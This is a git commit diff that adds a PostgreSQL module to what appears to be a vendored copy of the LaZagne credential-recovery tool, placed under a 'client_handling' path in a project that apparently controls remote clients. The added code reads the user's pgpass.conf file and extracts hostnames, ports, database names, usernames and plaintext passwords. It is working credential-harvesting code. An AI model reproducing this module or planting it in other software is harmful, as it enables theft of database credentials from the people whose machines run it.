diff options
author | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
---|---|---|
committer | AL-LCL <alvin@alvinhavel.com> | 2023-05-19 11:01:49 +0200 |
commit | 20dbeb2f38684c65ff0a4b99012c161295708e88 (patch) | |
tree | a5b8445f55da2fbbb92443b68e9d7354a290c598 /foreign/client_handling/lazagne/softwares/databases/postgresql.py |
Diffstat (limited to 'foreign/client_handling/lazagne/softwares/databases/postgresql.py')
-rw-r--r-- | foreign/client_handling/lazagne/softwares/databases/postgresql.py | 32 |
1 files changed, 32 insertions, 0 deletions
diff --git a/foreign/client_handling/lazagne/softwares/databases/postgresql.py b/foreign/client_handling/lazagne/softwares/databases/postgresql.py new file mode 100644 index 0000000..e2ecfb6 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/databases/postgresql.py @@ -0,0 +1,32 @@ +# -*- coding: utf-8 -*- + +import os + +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class PostgreSQL(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='postgresql', category='databases') + + def run(self): + path = os.path.join(constant.profile['APPDATA'], u'postgresql', u'pgpass.conf') + if os.path.exists(path): + with open(path) as f: + pwd_found = [] + for line in f.readlines(): + try: + items = line.strip().split(':') + pwd_found.append({ + 'Hostname': items[0], + 'Port': items[1], + 'DB': items[2], + 'Username': items[3], + 'Password': items[4] + }) + + except Exception: + pass + + return pwd_found |